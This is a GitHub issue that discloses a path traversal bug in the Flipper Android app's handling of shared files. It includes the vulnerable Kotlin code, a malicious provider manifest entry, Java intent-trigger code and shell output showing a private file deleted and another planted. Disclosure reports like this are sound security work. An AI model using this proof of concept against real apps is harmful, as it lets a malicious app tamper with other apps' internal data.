-
Notifications
You must be signed in to change notification settings - Fork 260
Description
Describe the bug
There is a security issue in the way how the app handles shared files via a android.intent.action.SEND intent. The DeepLinkFileUriCopy.kt class trusts an attacker controlled filename when creating a cache path, leading to a path traversal issue. This can be used by a malicious app in two ways:
- A path traversal to an existing internal file will delete the file
- Use the path traversal to drop an arbitrary file in any internal app folder
So the impact depends on the creativity of the dropped file. I'm sure with a bit of time one could come up with a nice attack here.
I have reported this via the email listed on the Security tab on 18. May 2024, and again on 27. May 2024 and have since then not received a response. That's why I am reporting it publicly now here. Also to be honest, I don't see a realistic risk for users, so I think that's fine. Should still be fixed though.
DeepLinkFileUriCopy.kt
The /components/deeplink/impl/src/main/java/com/flipperdevices/deeplink/impl/parser/delegates/DeepLinkFileUriCopy.kt file takes the Uri
from an incoming intent and attempts to copy the file into the internal cache folder.
The uri.filename is attacker controlled and can be used as a path traversal.
private suspend fun buildInternalFile(
contentResolver: ContentResolver,
cacheDir: File,
uri: Uri
): DeeplinkContent? = withContext(Dispatchers.IO) {
val filename = uri.filename(contentResolver) ?: System.currentTimeMillis().toString()
val temporaryFile = File(cacheDir, filename)
if (temporaryFile.exists()) {
temporaryFile.delete()
}
val exception = runCatching {
contentResolver.openInputStream(uri).use { inputStream ->
temporaryFile.outputStream().use { outputStream ->
inputStream?.copyTo(outputStream)
}
}
}.exceptionOrNull()
// [...]Line 55 in 2683cf1
| val filename = uri.filename(contentResolver) ?: System.currentTimeMillis().toString() |
Proof of Concept
Have a look at the attached AttackProvider.java. This malicious content provider sent to the Flipper app returns a path traversal filename upon query()
and return arbitrary data via openFile().
Register the provider in the attacker's manifest:
<provider
android:name=".AttackProvider"
android:authorities="io.hextree.flipperdown.provider"
android:enabled="true"
android:exported="true">
</provider>Trigger the malicious android.intent.action.SEND intent specifying our malicious content provider in the intent data section.
findViewById(R.id.btn_trigger).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setClassName("com.flipperdevices.app", "com.flipperdevices.singleactivity.impl.SingleActivity");
intent.setAction(Intent.ACTION_SEND);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.setDataAndType(Uri.parse("content://io.hextree.flipperdown.provider/write"),"text/*");
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://io.hextree.flipperdown.provider/xxx"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(intent);
}
});Steps to Reproduce
Install and launch the provided proof of concept flipperdown.apk].
Check the content of the internal /datastore/ folder (Note to verify the existence of the written file, the internal folder can only be accessed with root access).
Alternatively set a breakpoint in the DeepLinkFileUriCopy class to observe the path traversal.
emulator64_arm64:/ # su
emulator64_arm64:/ # ls -lah /data/data/com.flipperdevices.app/files/datastore/
total 8.0K
drwx------ 2 u0_a126 u0_a126 4.0K 2024-05-18 20:23 .
drwxrwx--x 3 u0_a126 u0_a126 4.0K 2024-05-18 19:51 ..
-rw------- 1 u0_a126 u0_a126 4 2024-05-18 19:51 pair_settings.pb
-rw------- 1 u0_a126 u0_a126 43 2024-05-18 19:45 settings.pb
The application implements two attacks. One to delete the pair_settings.pb file and one to drop a new file hextree.io.
emulator64_arm64:/ # ls -lah /data/data/com.flipperdevices.app/files/datastore/
total 8.0K
drwx------ 2 u0_a126 u0_a126 4.0K 2024-05-18 20:25 .
drwxrwx--x 3 u0_a126 u0_a126 4.0K 2024-05-18 19:51 ..
-rw------- 1 u0_a126 u0_a126 39 2024-05-18 20:24 hextree.io
-rw------- 1 u0_a126 u0_a126 43 2024-05-18 19:45 settings.pb
kind regards,
LiveOverflow from hextree.io
Gist report: https://gist.github.com/LiveOverflow/51d3dc0714fd6eaac24f85e4533b4547